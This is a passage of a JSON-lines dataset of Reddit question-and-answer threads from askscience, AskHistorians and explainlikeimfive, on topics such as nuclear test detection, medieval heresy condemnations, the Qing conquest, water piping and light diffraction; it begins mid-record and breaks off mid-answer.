been elsewhere, meaning better translations of literature and play would have been longer in coming. \n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1brcqm", "title": "How do we know North Korea's nuclear tests weren't just chemical explosives?", "selftext": "As I'm sure you're aware, North Korea recently performed a test of a nuclear weapon. It was estimated to be in the range of 6-7 kilotons. It was underground, so no pictures were taken and no radiation was detected. The only evidence was from a seismograph.\n\nHow do we know it was actually a nuke? Why isn't it possible it was just a large pile of conventional explosives? What would make a nuke look different on a seismograph from 7,000 tons of TNT?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1brcqm/how_do_we_know_north_koreas_nuclear_tests_werent/", "answers": {"a_id": ["c99bmnh", "c99k7c2"], "score": [55, 3], "text": ["I am so glad that you asked! This is the one subject that I can speak on as an expert!\n\nIt is underground, but we can still detect radiation. Xenon is a noble gas (and is mostly unreactive), boils off readily, and is produced abundantly by most devices so it can escape through tiny fissures in the rock. Furthermore, the half-lives of interest (isotopes -133, -135 and isomers -131m, -133m, and -135m) vary between 9 hours and 5 days, so even thousands of miles and a week later, we can get a clear signal. This can be done by gamma spectroscopy or by beta-gamma coincidence detection.\n\nRadiation was detected in 2006 from a less than 1kt detonation as far away as Yellowknife, Canada, thousands of kilometers away! 2009 saw no radiation, and I do not know about this year.\n\nWord soup. I am happy to answer all questions on this topic!", "No traces of gases leaked in the past two detonations. The United States has put tremendous resources into detecting nuclear weapons tests. We have taken highly detailed seismic measurements of dozens of nuclear tests. With that much data it is easy to distinguish nuclear events (for example a nuclear device detonates from a single point at once... 7000 tons of TNT would not detonate at the same exact time or in a highly symmetric manner). \n\nGenerally, the concern isn't distinguishing a nuclear test from a conventional test. Amassing 7000tons of TNT in a tunnel is not an easy feat. The concern is that the adversary can [use cavity decoupling](_URL_0_) to limit the seismic shock that couples into the ground. This could in theory make a test's resulting waves so small that they are ignored. However, the US showed that even a highly decoupled device can be detected. \n\nAlso, why would North Korea fake a test? They actually need to conduct a handful of tests before they have an operational device. They need to test. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.nap.edu/openbook.php?record_id=10471&amp;page=46"]]}
{"q_id": "514vwz", "title": "Mecca and Medina are closed off to non-Muslims. Is this a recent rule put in by the Al-Saud or have non-Muslims always been prohibited from entering the two holy cities?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/514vwz/mecca_and_medina_are_closed_off_to_nonmuslims_is/", "answers": {"a_id": ["d7a1u14", "d7a3y3x", "d7a5soi"], "score": [78, 41, 14], "text": ["I'll answer at least one of your questions: at least for Mecca, this rule was not put in place by the House of Saud. During WWI, both France and the UK were in close contact with the Hashemite Sharif of Mecca, and Mecca was closed off to non-Muslims, giving France an advantage because they had Muslim officers of a relatively high rank, which the UK lacked.\n\nSource: R\u00e9mi Kauffer, *Histoire des Hach\u00e9mites*.", "This rule goes back a long way and predates WW1. It is useful to consider the account of Sir Richard Burton who published an account of his travels in [\"Personal narrative of a pilgrimage to Mecca and Medina\"](_URL_1_) published in 1874. Due to its age and popularity, the book has been OCRed and the full text available for download.\n\nSir Richard Burton has to assume the disguise of a Sufi with Indian origins to make his visit in 1855-56. He was an excellent linguist and had spent a lot of time travelling in India and Arabia so he could get away with it.\n\nHowever, Burton was not the first. The place had been visited several times over the years back through 1504 by Ludovico Verthema, but the problem of having to visit in disguise didn't seem to happen until the early 19th century with the visit of Catalan Domingo Badia y Leblich when as a result of the political and religious problems, the cities became closed in effect even not in fact (i.e., you would probably be murdered or arrested as a spy). \n\nApart from Burton, mention should be made of John Lewis Burkhardt a Swiss who also travelled there and slightly predated Burton. He wrote the two volume book [\"Travels in Arabia\"](_URL_0_) which gives a good account of the Haj pilgrimage.\n\nA good summary of the general travel history is \"Literary History of Travel and Exploration: A-F\" Edited by Jennifer Speake page 32 in \"Arabia\".", "Your question has already been sufficiently answered above but I just thought I'd mention an interesting fact about the French assistance to the Saudis during the Grand Mosque Seizure in Mecca in 1979. The Mosque has been seized by a few hundred very well armed fundamentalist jihadis and the Saudi army wasn't up to the job of taking it back. They (secretly) had to call in the French special forces to help and so just before they joined the attack a number of French soldiers converted to Islam on the spot. \nSource: Trofimov, *The Siege of Mecca*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.wdl.org/en/item/14716/", "https://archive.org/details/personalnarrativ1874burt"], []]}
{"q_id": "fkbq43", "title": "What would happen to a professed athiest during the middle ages?", "selftext": "I have started streaming knightfall on netflix, and in an early episode the Pope asks an advisor to the King of France if he has found God yet, but the advisor declines.\n\nWhat exactly would happen to someone in say, 1290 if they did publicly reject God?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fkbq43/what_would_happen_to_a_professed_athiest_during/", "answers": {"a_id": ["fks5j4w"], "score": [11], "text": ["There's a part of this question that I can't answer: namely, the part that concerns that \"lay\" reality of life on the ground in the medieval period, like whether there was ever \"mob justice\" against atheists, or something like that. But I can talk about the intellectual scene and give a pretty clear answer. Since the medieval period spans many centuries and many locations, I'll just take your cue and look at the end of the 13th century in France.\n\nIf you were an intellectual whose professed religious beliefs did not conform to the norm, as laid out by the authorities, you would be excommunicated. An 'intellectual' in this case refers to a philosopher, theologian, university professor, etc. We want to be sort of capacious here because we could be narrow and say something like 'members of the arts faculty in Paris' (which is true) but this would miss the fact that the need for rules about conformity of belief was sparked by people as far away as Denmark who were interpreted as having professed the \"wrong\" kind of belief (e.g., Boethius of Dacia).\n\nSpecifically, we need to talk about the 13th-century \"Condemnations.\" Three times in 13-century Paris, hundreds of statements/propositions were \"condemned\" -- this means that if you were caught teaching them, you'd be excommunicated unless you went to the bishop and confessed within seven days (in which case you'd get off with a lighter penalty). There was no death penalty or anything like that.\n\nThe Condemnations happened in 1210, 1270, and 1277. The Condemnations of 1277 were the biggest. In each case, the leading figure behind the Condemnation was the Bishop of Paris, and in the cases of 1270 and 1277, it was the same Bishop of Paris, Etienne Tempier.\n\nThe motivation for the Condemnation is complicated, but it can be boiled down to this: the Bishop of Paris perceived that the philosophical teachings of Aristotle, a Pagan, and Averroes, a Muslim philosopher with *very* distinctive views, were being widely circulated among European intellectuals. He noticed that they were especially gaining currency in the arts faculty in Paris, and so he condemns the relevant propositions in the territory over which he has a limited jurisdiction: Paris.\n\nNow, what exactly was condemned? Not atheism. Why? Because nobody was an atheist. Atheism was *overwhelmingly* unpopular among intellectuals up until extremely recently in humanity's intellectual history. I recently wrote an answer to a [question here about atheism in the ancient world (or, rather, the lack of it)](_URL_0_).\n\nWherever we look in humanity's history, the vast majority of intellectuals (and in many cases, *every intellectual*) believed in God. There was just no need to condemn atheism. Certainly we can judge that if atheism had been gaining currency in the 13th century, it would have been condemned too. But philosophers just were not even tempted by atheism until well into the modern period.\n\nSo, what was condemned? Well, the Condemnations of 1277 condemned 219 propositions, which is too much for us to consider here. But we can categorize them. The first seven of the philosophical propositions bear on the nature and excellence of philosophy. Propositions 8 through 12  have a bearing on the knowability and nature of God. Propositions 13\u201315 concern divine knowledge, and 16 through 26 divine omnipotence. Many of the articles, notably 34\u201361 regard the separate angels. Another interesting group of articles is 67\u201369. Other interesting themes that are touched in the philosophical articles are the world\u2019s eternity (80 through 89), the unicity of the human intellect and its implications (117 through 133), and human freedom and free will (151 through 166). Among the theological articles, themes that appear are theology as a science (180\u2013186), the doctrine of the Eucharist (196\u2013199), Christian morality (202\u2013205), and human immortality and reward and punishment in the life to come (213\u2013219). \n\nWe can list all of the propositions condemned in 1270:\n\n1. \"That there is numerically one and the same intellect for all humans\".\n\n2. \"That the soul separated [from the body] by death cannot suffer from bodily fire\".\n\n3. \"That God cannot grant immortality and incorruption to a mortal and corruptible thing\".\n\n4. \"That God does not know singulars\" (i.e., individual objects or creatures).\n\n5. \"That God does not know things other than Himself\".\n\n6. \"That human acts are not ruled by the providence of God\".\n\n7. \"That the world is eternal\".\n\n8. \"That there was never a first human\".\n\nAll of these are Aristotelian-Averroist beliefs. Aristotle never had a reason to speak on many of these issues explicitly (especially 2 and 8) because he had never any dealings with an Abrahamic religion that would prompt him to. Some of these would be very implausible to attribute to Aristotle (e.g., 1), but the fact is that Averroes believed he was adequately interpreting Aristotle's views when he taught, say, 1, and so we label them 'Aristotelian-Averroist'. \n\nThe 13th century saw an increasing number of philosophers/theologians grapple with how persuasive Aristotle's philosophy was. In many cases, such as, mostly famously, Aquinas, there was not a major scandal (though there were always *small* scandals at least), because philosophers would readily declare that in the event of any conflict between faith and reason, faith would always win. And in the case of Aquinas in particular, he argued there were never any conflicts (although there were times when philosophy was silent and so couldn't even disagree with faith). The Condemnations were a reaction to times when, at least as far as they were interpreted, philosophers were behaving scandalously and too freely endorsing Aristotelian-Averroist beliefs. Atheism was not included because nobody in antiquity or the medieval period was really convinced that atheism was intellectually worthwhile. In conclusion, though, we can certainly say that non-conforming thinkers were threatened with excommunication."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/fjhzir/with_progress_in_science_and_general/"]]}
{"q_id": "1rax3f", "title": "Are there armed rebellions in history that had no external support of any kind nor base from outside?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rax3f/are_there_armed_rebellions_in_history_that_had_no/", "answers": {"a_id": ["cdle2i4", "cdllvqj", "cdlm7ux"], "score": [7, 2, 3], "text": ["One armed rebellion with no external support was Spartacus' rebellion against Rome (or the Third Servile War).\n\nSpartacus was a gladiator who led a group of gladiators in a bid for freedom.  Eventually, Spartacus collected about 70,000 followers from escaped or liberated slaves.  He trained an army from these followers, defeated three Roman forces sent to subdue him, and held out for two years.\n\nInitially, Spartacus was helped by the Romans having no legions in the area, their forces being off fighting against a revolt in Hispania and in the Third Mithridatic War in Asia.  Although these concurrent wars were somewhat helpful to Spartacus, the Roman enemies in these wars were never supporters or allies of Spartacus.\n\nSpartacus tried to get some external support  when he made a bargain with Cicilian pirates to transport his forces out of Southern Italy (where they were trapped by the Romans) across the straits of Messina to Sicily.  The pirates took his money and sailed away, abandoning his forces.\n\nSpartacus was defeated after two years of rebellion by Roman legions under Crassus.\n\nSource:  _URL_0_\n\n\nI suspect there were many armed rebellions throughout history that had no external support.  Were any of them successful?", "I think the indigenous rebellion  against resource-extracting corporations on Bougainville Island qualifies. They were essentially blockaded from the outside world, yet still managed to win. I can't recommend the documentary \"The Coconut Revolution\" enough.\n\n_URL_0_", "The Taiping Rebellion in China that lasted from 1850 to 1864 (with sporadic violence and battles still happening until 1871). Not only was it one of the deadliest wars in history (at least twenty million people died), it also had one of the most insane origins of any major conflicts.\n\nHong Xiuquan, the guy who started it, was a peasant who became seriously ill, and during this illness had a dream where he apparently learned he was the younger brother of Jesus, and had been tasked with destroying the ruling Chinese Dynasty, Confucianism, demons, and demon worship. Several years later he started a cult and bought two giant demon slaying swords.\n\nHis message of promised Utopia and extreme Christianity proved extremely popular and he carved out a large piece of territory for himself in southern China called the Heavenly Kingdom during the 1850's. In the process of this he became a massive thorn in the side of the Chinese government, and they spent huge numbers of men and resources trying to destroy him. Eventually they conquered the Heavenly Kingdoms capital in 1864, in part because a short time earlier Hong died of food poisoning.\n\nHong's forces never received outside help, but the Chinese government was aided by several European powers during the course of the rebellion. \n\n_URL_0_\n\n_URL_1_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Spartacus"], ["http://en.wikipedia.org/wiki/The_Coconut_Revolution"], ["http://en.wikipedia.org/wiki/Hong_Xiuquan", "http://en.wikipedia.org/wiki/Taiping_Rebellion"]]}
{"q_id": "98c9ge", "title": "What chemical compound contributes to the classic \"campfire smell?\"", "selftext": "Referring to the smell that clothes sometimes take on when they're exposed to lots of campfire smoke.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/98c9ge/what_chemical_compound_contributes_to_the_classic/", "answers": {"a_id": ["e4f4wf7"], "score": [21], "text": ["There's a pretty wide variety of compounds in smoke, but some of the main contributors to the smell of wood smoke are [guaiacol](_URL_0_) and [syringol](_URL_1_), produced from the lignin present in all wood. These also end up being the compounds responsible for a lot of the \"smoky\" flavor of smoked food."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Guaiacol", "https://en.wikipedia.org/wiki/Syringol"]]}
{"q_id": "5lpzjy", "title": "how does water piping work, how does it get to your house, how do they measure what to charge, is there draininge for the extra pressure from when all faucets are closed, how does the waste water piping work, and how do they pressurize it down the line?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5lpzjy/eli5_how_does_water_piping_work_how_does_it_get/", "answers": {"a_id": ["dbxli34", "dbxlig5", "dbxmynq"], "score": [3, 2, 2], "text": ["Water piping is a really complex infrastructure, and it's really interesting how everything fits together.\n\nWater pumps provide the initial pressure from a source. There are a lot of different mechanisms of pumping fluid, but effectively they just add energy to the fluid to get it moving and exert pressure. This usually feeds into water towers, which create pressure through height. Imagine sitting at the bottom of a very deep pool - this pressure can force all the water beneath it, which creates positive pressure which can 'pump' water, no electricity or mechanical power required.\n\nWater meters come in [many shapes and sizes,](_URL_0_) and some of them are very clever.\n\nThe waste piping doesn't get pumped at all. Waste water, such as that from your shower, sink, or toilet, either flows into a sewer (which is completely sloped downhill, so the fluids flow naturally) or into a septic tank, which must be regularly pumped and evacuated.\n\nA single pump can pressurize a lot of water. If you have a pipe full of water, pushing a little bit more water into the end causes the exact same amount to flow out on the other side. There can be some inline pumps to help increase the pressure, but most city water mains only rely on a single pump with a water tower to pressurize all the lines even if there's an electrical shutdown.", "1.) Its a tube, hollow on the inside with walls that water cant pass through. Water goes through the inside of it\n2.) Through the pipes\n3.) There is a meter on each house that counts how much water passes it.\n4.) There is no drainage, when the taps are closed water just doesn't flow into the house it goes to the next house and so on. There is a recirculation system at the end that pumps water that isn't used back through the system. Pressure stays the same since the water is always flowing.\n5.) Same way as the intake piping. They aren't connected though since that would be gross.\n6.) Water towers use gravity to create the water pressure for the intake system. Waste pipes are declined in a way that the shit flows down hill, it isn't pressurized.", "heart pumps(provides necessary push or pressure for movement) blood throughout the body through _URL_0_ heart is water pump,veins are pipelines and individual organ is house."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Water_metering#Types_of_metering_devices"], [], ["veins.so"]]}
{"q_id": "chf5c4", "title": "how are flammable cosmetic and medical items like cotton balls and band aids sterilized?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/chf5c4/eli5_how_are_flammable_cosmetic_and_medical_items/", "answers": {"a_id": ["eusgfrl", "eusgtm3", "eusll5l"], "score": [3, 5, 3], "text": ["You don't have to heat something to the point of ignition to sterilize it. Depending on the item, an autoclave heated to 120C for 30 minutes is sufficient. Chemically or via gamma radiation is also used.", "Often times, they're formed sterile. If not, they're chemically treated. Plastics are usually sterile when first produced due to the nasty chemicals involved, and cleaned after manufacture. They are also heated up quite hot when molded. This isn't fire-hot, but it is often still hot enough to kill bacteria. Anything that needs it can be easily washed in alcohol, but many items can be heated to 100-150C which will not burn them but will sterilize.", "UV light is a common one during packing process. As is steam. Either way you can end up with a fluffy product sterilized. Also radiating treatment. Entire batches of products are exposed to radiation in their final packed state and thus sterilized in a way that won't allow introduction of germs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "13p2py", "title": "Why did William IV of Prussia reject the German Imperial Crown when it was offered to him in 1849?", "selftext": "The [Frankfurt Parliament](_URL_0_) offered Prussia the crown of a united Germany, and it seems like Prussia was certainly strong enough to accept without worry... why did they reject it?  Was it concern about Austria's reaction?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13p2py/why_did_william_iv_of_prussia_reject_the_german/", "answers": {"a_id": ["c75v9n5", "c763vdv"], "score": [14, 6], "text": ["Frederick William IV was a rather conservative monarch and he felt that the crown was not something that should be determined by an elected parliament -- it was an affront to his god-given right to the throne.  His responses to the 1848 revolutions were more about self-preservation than an attempt at serious liberalizing reform.", "Citing Iron Kingdom - Rise and Downfall of Prussia from Chrisopher Clark:\n\n >  The king received them (the envoys to ask if he wants the crown) on 3 April 1849, thanked them warmly for the trust that they, in the name of the German people, had placed in his person, but refused the crown, on the grounds that Prussia could accept such an honour only on terms agreed with the other legitimate princes of the German states. \n\n >  In a letter addressed to his sister Charlotte - officially known as Tsarina Alexandra Federovna - but intended for the eyes of her husband, he spoke a different language: \"You have read my reply to the man-donkey-dog-pig-and-cat delegation from Frankfurt. It means in simple German:  \n > 'Sirs! You have not any right at all to offer me anything whatsoever. Ask, yes, you may ask, but give - No - for in order to give you would first of all have to be in possession of something that can be given, and this *is not the case!*'\"\n\nTo say a little more; the revolution in Austria got crushed in 1848, while the Habsburg monarchy made clear it would not allow any secessionist tendencies. Thus the Gro\u00dfdeutsche L\u00f6sung (greater-German solution) was not an option anymore. The parliament was in trouble because it was military weakened, an important actor was against them and the many royal leaders in the German states were more interested in their own power than the parliament. "]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Frankfurt_Parliament"], "answers_urls": [[], []]}
{"q_id": "clztyt", "title": "How were the Manchus able to completely conquer the Ming dynasty in a couple decades while their Jurchen ancestors of the Jin dynasty failed for over 100?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/clztyt/how_were_the_manchus_able_to_completely_conquer/", "answers": {"a_id": ["ew3scml"], "score": [9], "text": ["In one word: luck.\n\nHowever, there are two  important further points:\n\n1. That luck needed to be backed up by a powerful military, an economy that could support that military, the administrative and political skills needed to build that military, and the political and military skills to put that military to effective use.\n\n2. The Jin conquest of northern China also benefited from luck, and the factors in point 1 above.\n\nThus, what was the difference? Let us begin with the Jin.\n\nThe Song-Jin wars of 1123-1127 caught the Song when they were significantly weaker than usual. Their wars earlier in the century against Xi Xia (Tanguts) had been expensive, and the latter part of those wars had been unsuccessful, and had resulted in heavy losses. Partly as a result of the economic damage from those wars, the Song faced multiple major revolts in 1119-1121, losing control of large parts of their territory for months. These revolts were expensive to suppress, diverted military forces away from where they could fight the Jin, and killed millions. Despite this, the Song proceeded into more war, against the remains of the Liao (Khitan) state. This war was in alliance with the Jin, but the Song made little progress, and gained little territory. It cost them more money, and weakened their armies further. Again, despite this, the Song basically pushed the Jin into war against them. \n\n* This weakness of the Song at the time was one major piece of luck for the Jin.\n\nFour years of warfare against the Jin resulted in the destruction of the Song field armies, and Kaifeng (their capital) was captured. The Song still held most of their territory in the north. However, along with Kaifeng, the Jin had captured the Song emperor (and his just-abdicated father, the former emperor). The Song state had been decapitated! But the two former emperors were still alive (but in Jin hands). The Song, of course, promptly had a new emperor, the 3rd in rapid succession. However, their field armies were still destroyed and time was needed to rebuild them. Further, if the Jin released the former emperors in their captivity, the situation would have been most delicate politically. Rather than continuing to fight actively in the north, the Song rebuilt.\n\n* The capture of Kaifeng, with the capture of the emperor and former emperor, and major disruption of the Song government and administrative apparatus was a second major piece of luck for the Jin.\n\nAfter rebuilding, the Song continued to fight the Jin, neither side making any great progress. Both states were powerful - the Jin much more so than before now that they had the resources of northern China, but the Song still had plenty of resources. Thus, the almost hundred year stalemate up to the Mongol-Jin wars.\n\n* The Mongol attacks on them were a major piece of bad luck for the Jin.\n\nThe above, and successful Song resistance against the Jin after rebuilding in the south was discussed by myself and u/lordtiandao in _URL_1_ and myself and u/TechnicallyActually and u/lordtiandao in _URL_0_\n\nNext, the Qing. The Manchus had already spent two and half decades grinding into Ming territory north of the Wall by 1644. This had given them more resources, both economic and military. The Chinese Banners brought not only more soldiers into the Qing armies, but soldiers skilled in the use of modern gunpowder weapons. Still, even with this, the conquest of territory south of the Wall would not be easy, even if possible.\n\n* The opportunity to form the Chinese Banners and have a stronger artillery and firearm component in their army before the conquest of Ming China was a piece of luck for the Qing.\n\nThe Ming had similar problems to those the Song had immediately before their wars with the Jin. However, the Ming's problems were worse. Economic collapse, drought and famine, and major rebellions. Their problems were so much worse that one of these rebellions toppled the Ming. Li Zicheng's rebel army, large and well-equipped with artillery, captured Beijing. The Ming emperor committed suicide. Li Zicheng proclaimed a new dynasty. The Ming state had been decapitated, and not by the Qing.\n\n* The fall of the Ming was a really major piece of luck for the Qing!\n\nEnter Wu Sangui, the general in command of the most powerful remaining Ming army in the north, who had been on his way (with his army) to defend Beijing but had been unable to get there in time. He wasn't the only one - of two other who didn't make it, Tang Tong surrendered to the rebels, and Huang Degong stood back with his army to see what would happen - he wasn't strong enough to defeat the rebels on his own. Neither was Wu Sangui, so he did the same. His army was in a unique position - on the Great Wall, between the Qing army and the rebel army in Beijing. He had been protecting China north of the Wall against the Qing, and had abandoned that territory in his attempt to defend Beijing.\n\n* The abandonment of the region north of the Wall, allowing the Qing to move in easily, was a piece of luck for the Qing.\n\nWu Sangui opened negotiations with both (the Qing also negotiated with the rebels). The Qing wanted submission, not cooperation as equals, so Wu Sangui wasn't (yet) willing to work with them. The rebels were looting Beijing, raping, torturing people to discover hidden wealth, etc., which didn't make Wu Sangui willing to work with them either. Li Zicheng wasn't happy with the lack of immediate surrender, and attacked Wu Sangui. The first two attacks were readily repulsed, which made Li Zicheng unhappy. The result of this unhappiness was Li Zicheng leading an army to attack Wu Sangui that greatly outnumbered his, which pushed Wu Sangui into cooperation with the Qing to avoid being defeated by the rebels. This made Li Zicheng even more unhappy, leading to the execution of Wu Sangui's father (who had been in Beijing when it fell) and other members of his family. Wu Sangui submitted to the Qing, their armies combined, and they defeated the rebel army, and liberated Beijing.\n\n* Wu Sangui's defection was a major piece of luck for the Qing. Had Li Zicheng and his rebels in Beijing behaved better and negotiated better, perhaps Wu Sangui would have fought on their side.\n\nThis gave the Qing control of Beijing, and the start of Ming forces joining them. Other Ming generals followed Wu Sangui's example and joined the Qing. These Chinese forces were important, perhaps essential, over the next two decades as the Qing fought to control the rest of China. The key Ming generals, Wu Sangui among them, were rewarded with large fiefs and significant autonomy in the south (later revolting - the Three Feudatories Revolt - when the Qing took steps to prevent these fiefs from becoming almost-independent hereditary kingdoms).\n\nSo, in summary, both the Jin and the Qing benefited from luck. The Qing had more luck."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/93nr8a/why_was_song_china_struggling_to_resist_the_jin/", "https://www.reddit.com/r/AskHistorians/comments/c7x73k/why_was_song_china_so_culturally_and_economically/"]]}
{"q_id": "2nfzwe", "title": "how come google is never \"down\"?", "selftext": "It never seems that Google crashes or is down. They never have maintenance, and always seem to be running slowly. Why is this? Is it because they are so big? Thanks for any and all answers.\n\nEdit: Thanks for all the replies everyone!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nfzwe/eli5_how_come_google_is_never_down/", "answers": {"a_id": ["cmd9y32", "cmda3fa", "cmdah0j"], "score": [2, 2, 2], "text": ["Basically yes. Google has datacentres all over the world. (I think I remember reading they had 8, but that was some time ago).  They can have system failures without disrupting services, and with as many systems as they run there are probably dozens of failures every day.\n\nHaving said that, Google like most tech companies does have occasional down time -- usually because of some kind of cascading failure, such as an incorrect configuration pushed to the server farm or a whole datacentre going off line due to catastrophic equipment failure there.", "Google has data centers and servers all around the world. Any updates they roll out they do it 1 server or a few servers at a time. While those server(s) are updating the others absorb the extra load temporarily. And so on and so on until everything is updated.\n\nSame holds true if a power outage or server failure occurs. The other servers will pickup the load.", "Because of redundant structure.   If one server is down, traffic gets directed to another server.    If #2 is down, #3,takes over.   There are hundreds or thousands of servers at each location.   If an entire location is down,  another location takes over.   It might be slightly slower, but its still available.\n\nData centers are planned for disaster contingencies.   Most dataventers have battery power backups,  with diesel or gas generators.   Good datacenters have at least two data lines going to opposite sides of the building going to two different data providers on two different paths.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3thfyd", "title": "+'s and -'s used in tables/charts", "selftext": "I wondered what the +'s, ++'s and -'s mean in scientific papers when relating to the growth of microorganisms.\n\nI understand that + would mean growth and - would mean no growth, but would ++ mean increased growth then?\n\nI have added a [picture](_URL_0_) as reference.\n\nIn this example would this mean profuse growth of both Strep and Pneumococcus?\n\nThanks for your help.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3thfyd/s_and_s_used_in_tablescharts/", "answers": {"a_id": ["cx660rp", "cx66zil", "cx6bk4m", "cx6mb4m", "cx6n2t3", "cx83nte"], "score": [4, 35, 12, 4, 3, 2], "text": ["Usually there would be a legend indicating how to interpret it, which is missing on your picture.", "From the title of the table i presume it would mean if the bacteria in question are present or not: \n\"-\" would be a negative result (bacteria not present or in very low number)\n\"+\" would be positive\n\"++\" would be a high population", "Typically a \"-\" would mean \"low/no growth,\" a \"+\" would be \"visible colonies,\" and a \"++\" would mean \"robust colonies.\" Since this is an old paper, they didn't really have cell counters or anything to give quantitative results\n\nSo 25 patients with \"the flu\" had their nose swabbed and streaked onto plates with and without penicillin. Since penicillin is an antibiotic, you'd expect no growth of gram positive bacteria (streptococcus and pneumococcus) on those plates. ", "++ or 2+ means approximately half of the plate has growth diffusely. 1+ = 1/4, 3+ = 3/4, 4+ = entire plate covered. \n- is not really normal to write because it can look like a stay mark and is usually replaced with = or (-)\n\nI work in a hospital lab where we use this internally for plates and report externally for microscopy ", "These are qualitative terms, as others have mentioned. I have seen a fairly recent text that has something like no growth (-), poor growth (+), moderate growth (++), and robust growth (+++). This nomenclature can go beyond microbiology; sometimes you'll be asked to use a qualitative scale when you're rating something like intensity of color change (in undergraduate biochemistry labs, for instance).", "The answers given are correct. I just wanted to add that in any modern paper, you would need to explain somewhere exactly how you would judge those categories - what criteria you used and so forth. All you can really say as a generalization is that ++ means more growth than +. Beyond that, it can vary immensely from paper to paper."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/F0fyeyT"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3qi6zi", "title": "When did multiple cultures decide to collectively start sharing knowledge/recording history?", "selftext": "At what point did we stop stealing/erasing/rewriting the findings of others and begin a collective planetary history? I was studying astronomical distances and saw scientists like Kepler and Newton used measurements from the Greeks. I would like to know when this change occurred and how socially evolved we were.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3qi6zi/when_did_multiple_cultures_decide_to_collectively/", "answers": {"a_id": ["cwfsilh"], "score": [2], "text": ["Interest in other cultures is not exactly knew. One of the best known cases in the Middle Ages (just to mention a period of time falsely considered to be bad for progress) is that of [the House of Wisdom](_URL_0_) in Baghdad.\n\nSpecially under the Abbasid caliph Al-Mamun, translations from other languages into Arabic were encouraged. Works by Classic authors such as Hippocrates, Euclid and Galen, but also from India too, like the astronomical tables of Sindhind. \n\nWith that combination of available translations and tolerance for other cultures and religions (for example, Hunayn ibn Ishaq, one of the most famous translators, was Nestorian), scholars of the caliphate were able to produce very important works on maths, astronomy, medicine, etc., which later spread to other countries. A good example of that is the origin of our words for 'algebra' (from The Compendious Book on Calculation by Completion and Balancing by Al-Khwarizmi) and 'algorithm/algorism' (from Al-Khwarizmi's very name).\n\nIf you want to know more, a nice introduction might be The House of Wisdom: How the Arabs Transformed Western Civilization, by Jonathan Lyons."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.muslimheritage.com/article/abbasids%E2%80%99-house-wisdom-baghdad"]]}
{"q_id": "39257i", "title": "Why does white light shining through a gap of ~1 micron turn blue?", "selftext": "I was watching a video on surface grinding (_URL_0_) and around 5:40, the narrator shows a trick for estimating gaps: If you shine a white light through a gap of around 0.0001\" (2.54 microns), it will turn blue. Why does this happen?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/39257i/why_does_white_light_shining_through_a_gap_of_1/", "answers": {"a_id": ["cs0byah"], "score": [4], "text": ["Well, when you look at light shining through a very narrow slit, what you're seeing is the light that passes through the slit and continues in a straight line to hit your eye. But when light passes through an aperture or near an obstacle, it will be very slightly diffracted -- that is, it spreads out in a direction perpendicular to the obstruction.\n\nIn this case, the light is diffracted primarily to the left and right, and if its direction changes too much, it hits the metal surface and is either absorbed or scattered. Now, the interesting thing about diffraction is that it becomes stronger as the slit gets narrower, *compared to the wavelength of the light*. \n\nRed light has a wavelength of about 0.7 microns, compared to about 0.4 microns for blue/violet. When the slit gets narrow enough, the red light will be diffracted more strongly than the blue, and so the light will look bluer. I guess 2.5 microns is the point at which this difference starts to become perceptible; the exact threshold will depend on lighting conditions and how good your color vision is.\n\n(I've never actually observed this phenomenon, but this is the most plausible explanation I can think of.)"]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=iMHksf17oqE"], "answers_urls": [[]]}
{"q_id": "6p00l7", "title": "Power of Names", "selftext": "Very often in European mythologies and fairy tales knowing something's true name gave you power over it. I have read that early Germanic peoples would tabbo saying the real name for \"bear\". But did early Europeans really believe in names having power outside of Mythology?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6p00l7/power_of_names/", "answers": {"a_id": ["dkloxuo"], "score": [10], "text": ["Many cultures hold \"real\" names as being special in some way. One could talk about the power of the names, but more importantly, it is common for people to regard it as disrespectful to mention the true name of something in its presence. And beings disrespectful in the presence of something powerful could have very real, dangerous consequences. This resulted in pairs of \"noa\" and \"taboo\" names. Anthropologists often use the Polynesian terms of noa (allowed) and tabu/taboo (forbidden) because the island people of the Pacific provide excellent examples of how the widest possible array of actions could come under complicated rules of prohibition. Indeed, the Polynesian example is so well-known that the word \u201ctaboo\u201d has found its way into common English usage. In many cases - including in Europe - the 